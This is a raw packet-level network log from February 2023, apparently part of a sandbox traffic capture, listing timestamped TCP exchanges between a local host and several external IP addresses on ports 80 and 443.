Feb 16, 2023 10:01:30.749022961 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.749043941 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.749062061 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.749068022 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.749090910 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.749108076 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.749114990 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.749136925 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.749154091 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.749161005 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.749181986 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.749198914 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.749206066 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.749228001 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.749244928 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.749252081 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.749274969 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.749289989 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.749298096 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.749336004 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.789192915 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.789243937 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.789268017 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.789288044 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.789308071 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.789326906 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.789346933 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.789366007 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.789383888 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.789402962 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.789427996 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.789453030 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.923890114 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.923928022 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.923954010 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.923979044 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.923985958 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.924005032 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924025059 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.924032927 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924060106 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924072981 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.924086094 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924110889 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924133062 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.924137115 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924164057 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924177885 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.924190044 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924215078 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924225092 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.924242020 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924267054 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924279928 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.924292088 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924315929 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924331903 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.924340010 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924365997 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924377918 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.924391031 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924416065 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924428940 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.924442053 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924465895 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924474001 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.924490929 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924515963 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924524069 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.924541950 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924566031 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924586058 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.924591064 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924617052 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924628019 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.924642086 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924666882 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924674988 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.924690962 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924715996 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924726009 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.924741030 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924765110 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924782991 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.924788952 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924813986 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924834013 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.924839020 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924865961 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924875975 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.924890041 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924913883 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924923897 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.924938917 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924962044 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.924974918 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.924985886 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.925026894 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.965833902 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.965872049 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.965895891 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.965919971 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.965944052 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.965945959 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.965970039 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.965995073 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.966006041 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.966020107 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.966029882 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.966044903 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.966049910 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.966070890 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.966108084 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:31.103050947 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:31.103081942 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:31.103101969 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:31.103121996 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:31.103142023 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:31.103161097 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:31.103173971 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:31.103180885 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:31.103199959 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:31.103219986 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:31.103220940 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:31.103244066 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:31.103249073 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:31.103265047 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:31.103283882 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:31.103285074 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:31.103303909 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:31.103322983 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:31.103327990 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:31.103344917 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:31.103365898 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:31.103365898 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:31.103399992 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:31.952589035 CET	49699	80	192.168.2.4	175.126.109.15
Feb 16, 2023 10:01:32.224638939 CET	80	49699	175.126.109.15	192.168.2.4
Feb 16, 2023 10:01:32.225474119 CET	49699	80	192.168.2.4	175.126.109.15
Feb 16, 2023 10:01:32.230098009 CET	49699	80	192.168.2.4	175.126.109.15
Feb 16, 2023 10:01:32.230133057 CET	49699	80	192.168.2.4	175.126.109.15
Feb 16, 2023 10:01:32.513343096 CET	80	49699	175.126.109.15	192.168.2.4
Feb 16, 2023 10:01:33.469393015 CET	80	49699	175.126.109.15	192.168.2.4
Feb 16, 2023 10:01:33.469425917 CET	80	49699	175.126.109.15	192.168.2.4
Feb 16, 2023 10:01:33.469528913 CET	49699	80	192.168.2.4	175.126.109.15
Feb 16, 2023 10:01:33.469670057 CET	49699	80	192.168.2.4	175.126.109.15
Feb 16, 2023 10:01:33.499171019 CET	49700	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:01:33.756736994 CET	80	49700	211.104.254.139	192.168.2.4
Feb 16, 2023 10:01:33.756941080 CET	49700	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:01:33.758306980 CET	80	49699	175.126.109.15	192.168.2.4
Feb 16, 2023 10:01:33.761935949 CET	49700	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:01:33.762182951 CET	49700	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:01:34.026878119 CET	80	49700	211.104.254.139	192.168.2.4
Feb 16, 2023 10:01:35.002327919 CET	80	49700	211.104.254.139	192.168.2.4
Feb 16, 2023 10:01:35.002376080 CET	80	49700	211.104.254.139	192.168.2.4
Feb 16, 2023 10:01:35.002588034 CET	49700	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:01:35.002588987 CET	49700	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:01:35.044567108 CET	49701	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:35.262351990 CET	80	49700	211.104.254.139	192.168.2.4
Feb 16, 2023 10:01:35.337796926 CET	80	49701	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:35.340751886 CET	49701	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:35.342067003 CET	49701	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:35.342067003 CET	49701	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:35.635158062 CET	80	49701	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:36.557902098 CET	80	49701	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:36.557939053 CET	80	49701	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:36.558121920 CET	49701	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:36.559246063 CET	49701	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:36.856403112 CET	80	49701	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:37.617216110 CET	49702	80	192.168.2.4	86.122.83.142
Feb 16, 2023 10:01:37.676580906 CET	80	49702	86.122.83.142	192.168.2.4
Feb 16, 2023 10:01:37.676806927 CET	49702	80	192.168.2.4	86.122.83.142
Feb 16, 2023 10:01:37.677287102 CET	49702	80	192.168.2.4	86.122.83.142
Feb 16, 2023 10:01:37.677385092 CET	49702	80	192.168.2.4	86.122.83.142
Feb 16, 2023 10:01:37.736171961 CET	80	49702	86.122.83.142	192.168.2.4
Feb 16, 2023 10:01:37.826651096 CET	80	49702	86.122.83.142	192.168.2.4
Feb 16, 2023 10:01:37.826720953 CET	80	49702	86.122.83.142	192.168.2.4
Feb 16, 2023 10:01:37.826841116 CET	49702	80	192.168.2.4	86.122.83.142
Feb 16, 2023 10:01:37.826975107 CET	49702	80	192.168.2.4	86.122.83.142
Feb 16, 2023 10:01:37.886019945 CET	80	49702	86.122.83.142	192.168.2.4
Feb 16, 2023 10:01:37.888035059 CET	49703	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:38.173187971 CET	80	49703	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:38.173317909 CET	49703	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:38.173722029 CET	49703	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:38.173794985 CET	49703	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:38.467813969 CET	80	49703	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:39.392466068 CET	80	49703	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:39.392533064 CET	80	49703	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:39.392682076 CET	49703	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:39.393039942 CET	49703	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:39.688158035 CET	80	49703	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:39.883821011 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:39.883871078 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:39.883944988 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:39.887650013 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:39.887691021 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:40.317940950 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:40.318026066 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:40.323514938 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:40.323546886 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:40.323959112 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:40.374080896 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:40.567512035 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:40.567554951 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:40.875760078 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:40.875801086 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:40.875813007 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:40.875904083 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:40.875963926 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:40.875972033 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:40.875992060 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:40.875996113 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:40.876010895 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:40.876033068 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:40.876046896 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:40.876061916 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:40.876097918 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:40.876115084 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:40.876153946 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:40.876166105 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.013099909 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.013140917 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.013226032 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.013278008 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.013333082 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.013333082 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.013521910 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.013556957 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.013597965 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.013621092 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.013643980 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.013663054 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.013686895 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.013714075 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.013742924 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.013756990 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.013781071 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.013794899 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.150713921 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.150758028 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.150902987 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.150940895 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.150963068 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.150969028 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.150988102 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.150996923 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.151019096 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.151026011 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.151052952 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.151060104 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.151083946 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.151109934 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.151261091 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.151292086 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.151321888 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.151329994 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.151352882 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.151370049 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.151537895 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.151570082 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.151596069 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.151603937 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.151627064 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.151643991 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.151846886 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.151875973 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.151916981 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.151923895 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.151949883 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.151972055 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.290529013 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.290566921 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.290771961 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.290824890 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.290895939 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.291258097 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.291280985 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.291342974 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.291363001 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.291389942 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.291414022 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.291956902 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.291979074 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.292026997 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.292042971 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.292068005 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.292084932 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.292675018 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.292695045 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.292741060 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.292757034 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.292783022 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.292828083 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.293373108 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.293394089 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.293441057 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.293466091 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.293488979 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.293507099 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.294054031 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.294075012 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.294126034 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.294141054 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.294166088 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.294182062 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.294754028 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.294779062 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.294827938 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.294843912 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.294868946 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.294884920 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.295489073 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.295512915 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.295552015 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.295566082 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.295593023 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.295614958 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.296088934 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.296113968 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.296202898 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.296220064 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.296282053 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.296597958 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.296621084 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.296685934 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.296701908 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.296726942 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.296782970 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.297087908 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.297111988 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.297187090 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.297204018 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.297261953 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.297571898 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.297595024 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.297678947 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.297694921 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.297766924 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.435420990 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.435461044 CET	443	49704	190.114.9.88	192.168.2.4
